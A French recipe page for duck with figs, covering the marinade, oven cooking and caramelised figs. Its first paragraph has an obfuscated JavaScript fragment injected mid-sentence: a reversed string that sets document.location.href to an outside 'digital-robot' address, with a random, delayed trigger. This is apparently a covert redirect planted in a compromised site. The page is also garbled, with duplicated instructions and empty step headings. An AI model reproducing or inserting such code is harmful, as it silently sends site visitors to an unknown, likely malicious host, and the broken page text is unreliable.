Canard aux figues
2021-06-08Préparez la marinade en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients dans un récipient. Coupez la cannette en morceaux. Lavez, séchez, fendez légèrement les figues avec la pointe d’un couteau. Versez la marinade dessus, ajoutez les morceaux de cannette.
Ingrédients
Préparez la marinade en mélangeant tous les ingrédients dans un récipient. Coupez la cannette en morceaux. Lavez, séchez, fendez légèrement les figues avec la pointe d'un couteau. Versez la marinade dessus, ajoutez les morceaux de cannette. Filmez. Placez au réfrigérateur toute une nuit. Égouttez les morceaux de viande en gardant la marinade que vous filtrez. Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les morceaux de cannette. Salez, poivrez. Bien dorer, enlevez l'excédent de gras, versez la marinade. Portez à ébullition pendant quelques minutes, et, continuez la cuisson dans un four à 180° C thermostat 6, pendant 50 minutes.
Pendant ce temps égouttez les figues, les sécher avec du papier absorbant. Faites les dorer dans une poêle avec du beurre, sur feu vif jusqu'à ce qu'elles caramélisent.
Mouillez avec le muscat et le vin de cuisson de la cannette, et laissez mijoter pendant 15 minutes. Vérifiez la cuisson, servez les morceaux de cannette avec les figues autour, Faites réduire la marinade et servez le jus dans une saucière.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
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